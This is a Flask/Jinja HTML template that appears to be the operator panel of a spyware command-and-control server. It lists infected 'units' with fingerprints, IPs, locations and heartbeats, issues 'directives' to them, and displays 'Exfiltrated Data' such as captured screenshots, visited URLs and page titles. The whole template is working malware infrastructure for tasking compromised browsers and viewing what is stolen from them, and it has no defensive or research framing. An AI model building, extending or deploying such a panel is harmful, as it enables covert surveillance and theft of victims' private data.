{% with messages = get_flashed_messages(with_categories=true) %} {% if messages %} {% for category, message in messages %}
{{ message }}
{% endfor %} {% endif %} {% endwith %}

Unit Vitals

Unit ID: {{ station.station_id }}

Fingerprint Hash:

{{ station.fingerprint }}

OS Mandate: {{ station.os_details }}

User Agent String:

{{ station.user_agent }}

Network Presence

Last Known IP: {{ station.ip_address }}

Reported Geo-Origin: {{ station.country }}

Screen Resolution: {{ station.screen_resolution }}

Languages Proffered:

{{ station.languages }}

Timezone Offset: {{ station.timezone_offset }}

Temporal Status

First Seen by Cathedral: {{ station.first_seen }}

Last Heartbeat Received: {{ station.last_heartbeat }}

Agent Version: {{ station.version }}

Heartbeat ETag:

{{ station.heartbeat_etag }}

Settings ETag:

{{ station.settings_etag }}

Issue New Directives

{% if pending_tasks %}

Pending/Delivered Directives:

{% for task in pending_tasks %}
{{ task.action }} (ID: {{task.task_id[:8]}}...) - Status: {{task.status}} {% if task.params and task.params != '{}' %}
Params:
{{ task.params }}
{% endif %}
{% endfor %} {% else %}

No directives currently pending for this unit.

{% endif %}

Manage Unit Edicts (Settings)

Received Offerings (Exfiltrated Data)

{% for data_key, data_items_list in exfil_samples.items() %} {% if data_items_list %}

{{ data_key | replace("_", " ") | capitalize }} (Recent {{ data_items_list | length }})

{% for item_dict in data_items_list %}
Unit Timestamp: {{ item_dict.timestamp }} | URL: {{item_dict.url[:60] if item_dict.url else 'N/A'}}... | Title: {{item_dict.title[:40] if item_dict.title else 'N/A'}}...
DEBUG INFO START (Item ID: {{item_dict.entry_id}})
1. item_dict.payload_parsed is defined: {{ item_dict.payload_parsed is defined }}
2. item_dict.payload_parsed is mapping (dict-like): {{ item_dict.payload_parsed is mapping }}
{% if item_dict.payload_parsed is mapping %} 3. 'image_data_b64' key in item_dict.payload_parsed: {{ 'image_data_b64' in item_dict.payload_parsed }}
{% set img_data = item_dict.payload_parsed.get('image_data_b64') %} 4. img_data (value of image_data_b64) is defined: {{ img_data is defined }}
5. img_data is not none: {{ img_data is not none }}
6. img_data is string: {{ img_data is string }}
7. img_data | string | length > 30: {{ (img_data | string | length > 30) if img_data is defined else 'img_data_undefined_for_length_check' }}
8. img_data snippet: {{ (img_data[:70] + '...') if img_data is string else 'Not a string or undefined' }}
{% else %} item_dict.payload_parsed is NOT a mapping.
{% endif %} DEBUG INFO END
{% if data_key == 'image_generic' or data_key == 'screenshot_targeted' %} {# Main condition to display image #} {% if item_dict.payload_parsed is mapping and item_dict.payload_parsed.get('image_data_b64') and (item_dict.payload_parsed.get('image_data_b64') | string | length > 30) %} Captured Image - {{ item_dict.payload_parsed.get('title', 'Untitled') }} {% else %}
Error: Image data (image_data_b64) condition not met.
        Full Parsed Payload for this item (ID: {{item_dict.entry_id}}):
        {{ item_dict.payload_parsed | tojson(indent=2) }}
{% endif %} {% else %}
{{ item_dict.payload_json | tojson(indent=2) }}
{% endif %}
{% endfor %}
{% endif %} {% else %}

No offerings of any kind recorded from this unit yet.

{% endfor %}

Task Ledger (Recent Completed)

{% if completed_tasks %} {% for task in completed_tasks %}
{{ task.action }} (ID: {{task.task_id[:8]}}) - Status: {{task.status}} - Updated: {{task.updated_at}} {% if task.result_details and task.result_details != '{}' %}
Result/Details:
{{ task.result_details}}
{% endif %}
{% endfor %} {% else %}

No completed tasks in the recent ledger for this unit.

{% endif %}